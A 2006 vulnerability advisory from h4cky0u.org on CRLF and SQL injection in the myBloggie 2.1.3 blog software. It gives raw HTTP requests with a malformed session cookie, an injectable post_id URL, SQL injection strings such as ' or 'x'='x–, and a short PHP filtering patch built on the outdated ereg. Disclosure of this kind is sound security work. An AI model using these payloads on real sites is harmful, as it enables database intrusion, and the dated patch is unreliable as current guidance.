---

  HYSA-2006-008 h4cky0u.org Advisory 017

---

Date - Wed May 17 2006

TITLE:

myBloggie 2.1.3 CRLF & SQL Injection

SEVERITY:

Medium

SOFTWARE:

myBloggie 2.1.3

http://mybloggie.mywebland.com/

INFO:

myBloggie is considered one of the most simple, user-friendliest yet packed
with features

Weblog system available to date.

DESCRIPTION:

–==CRLF injection==–

GET /mybloggie/ HTTP/1.0
Accept: /
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Host: 127.0.0.1:80
Cookie: PHPSESSID=op0-11{}};q, or something like that
Connection: Close

GET /mybloggie/admin.php HTTP/1.0
Accept: /
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Host: 127.0.0.1:80
Cookie: PHPSESSID=op0-11{}};q, or something like that
Connection: Close

GET /mybloggie/index.php HTTP/1.0
Accept: /
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Host: 127.0.0.1:80
Cookie: PHPSESSID=op0-11{}};q, or something like that
Connection: Close

–==SQL injection==–

http://127.0.0.1/mybloggie/index.php?mode=viewid&post_id='

Also MurderSkillz discovered a bug in the search function. Here is a
proof-of-concept:

1' having '1'='1'–

or

' or 'x'='x–

And a little patch from me:

if(ereg('[^A-Za-z0-9_]',$_POST['keyword'])){
echo "Invalid Characters";
exit;
}

if (isset($_GET['select'])) $select=$_GET['select'];
if (isset($_POST['keyword'])) $keyword=$_POST['keyword'];

$keyword = preg_replace($html_entities_match,
$html_entities_replace,$keyword);
//…

VENDOR STATUS:

Vendor was contacted but no response received till date.

CREDITS:

This vulnerability was discovered and researched by
matrix_killer of h4cky0u Security Forums.

mail : matrix_k at abv.bg

web : http://www.h4cky0u.org

Search function sql injection was discovered by: MurderSkillz

Co-Researcher:

h4cky0u of h4cky0u Security Forums.

mail : h4cky0u at gmail.com

web : http://www.h4cky0u.org

Greets to all omega-team members + krassswr,EcLiPsE and all who support us
!!!

ORIGINAL ADVISORY:

http://www.h4cky0u.org/advisories/HYSA-2006-008-mybloggie.txt

–
http://www.h4cky0u.org
(In)Security at its best…